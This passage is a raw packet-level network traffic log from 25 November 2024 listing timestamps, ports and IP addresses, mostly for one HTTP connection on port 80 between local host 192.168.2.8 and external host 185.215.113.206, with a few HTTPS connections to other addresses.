Nov 25, 2024 03:39:54.768687010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.768724918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.769464016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.769536972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.769644976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.769684076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.770350933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.770421982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.770452976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.770492077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.771225929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.771358013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.771368027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.771399975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.772093058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.772141933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.772205114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.772248983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.772990942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.773040056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.773066998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.773103952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.773864031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.773977995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.774024010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.774736881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.774853945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.774888992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.774909019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.775625944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.775685072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.775732040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.775764942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.776496887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.776590109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.776642084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.777369022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.777468920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.777492046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.777510881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.778247118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.778357029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.778414965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.779124975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.779223919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.779230118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.779289007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.779993057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.780040026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.780097008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.780138969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.780889034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.780951977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.781016111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.781052113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.781776905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.781852961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.781861067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.781897068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.782649994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.782699108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.782743931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.782782078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.783560991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.783603907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.783651114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.783684015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.784398079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.784473896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.784522057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.784558058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.785301924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.785343885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.785406113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.785456896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.786191940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.786245108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.786273956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.786396027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.787054062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.787108898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.787122011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.787153006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.787913084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.787961960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.788021088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.788058043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.788801908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.788861990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.788911104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.789666891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.789722919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.789776087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.789858103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.790571928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.790641069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.790669918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.790704012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.791443110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.791496038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.791533947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.791567087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.792304039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.792362928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.792412996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.792521954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.793219090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.793272018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.793276072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.793311119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.794091940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.794137001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.794187069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.794219017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.795030117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.795072079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.795141935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.795180082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.795840979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.795892000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.795959949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.796190023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.796747923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.796792030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.796812057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.796840906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.797646046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.797703981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.797713041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.797745943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.798468113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.798517942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.798563957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.798732996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.799366951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.799464941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.799518108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.800240040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.800296068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.800323009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.800364017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.801109076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.801148891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.801211119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.801250935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.801995039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.802041054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.802088976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.802124023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.802860975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.802911043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.802961111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.802997112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.803739071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.803782940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.803854942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.804292917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.804620028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.804738045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.804775000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.805520058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.805625916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.805629969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.805664062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.806372881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.806412935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.810851097 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:54.810900927 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:54.810976982 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:54.811232090 CET	49827	443	192.168.2.8	20.110.205.119
Nov 25, 2024 03:39:54.811243057 CET	443	49827	20.110.205.119	192.168.2.8
Nov 25, 2024 03:39:54.922452927 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.925535917 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.925668001 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.925705910 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.925738096 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.927182913 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.927208900 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.971148968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.971164942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.971247911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.971318007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.971476078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.971518040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.971537113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.971569061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.972220898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.972234011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.972280979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.973037004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.973092079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.973171949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.973206997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.973913908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.973956108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.974010944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.974045992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.974792004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.974836111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.974877119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.974916935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.975671053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.975712061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.975763083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.975894928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.976560116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.976615906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.976655960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.976690054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.977447987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.977530956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.977546930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.977579117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.978321075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.978373051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.978435993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.978630066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.979198933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.979322910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.979351997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.979737997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.980067015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.980108023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.980176926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.980211020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.980956078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.981045961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.981086016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.981117964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.981851101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.981950998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.981976032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.982023001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.982698917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.982781887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.982800961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.982836962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.983586073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.983650923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.983673096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.983908892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.984472036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.984579086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.984595060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.984616995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.985352039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.985452890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.985479116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.985492945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.986238956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.986284018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.986346960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.986404896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.987147093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.987188101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.987267971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.987303972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.987993002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.988032103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.988114119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.988157034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.988876104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.988923073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.988966942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.989002943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.989759922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.989800930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.989912033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.989948988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.990624905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.990668058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.990731001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.990777969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.991523027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.991636992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.991666079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.991683960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.992397070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.992449999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.992512941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.992558956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.993316889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.993367910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.993386030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.993405104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.994169950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.994206905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.994278908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.994414091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.995029926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.995084047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.995146036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.995307922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.995914936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.995959997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.996020079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.996056080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.996787071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.996860027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.996891022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.997056007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.997662067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.997721910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.997787952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.997824907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.998539925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.998644114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.998688936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.999418974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.999475002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.999525070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.999558926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.000341892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.000399113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.000400066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.000433922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.001203060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.001300097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.001317978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.001398087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.002060890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.002104998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.002239943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.002331018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.002962112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.003052950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.003098965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.003849030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.003912926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.003931046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.003967047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.004715919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.004771948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.005266905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.005317926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.005585909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.005630016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.005697012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.005832911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.006470919 CET	80	49748	185.215.113.206	192.168.2.8
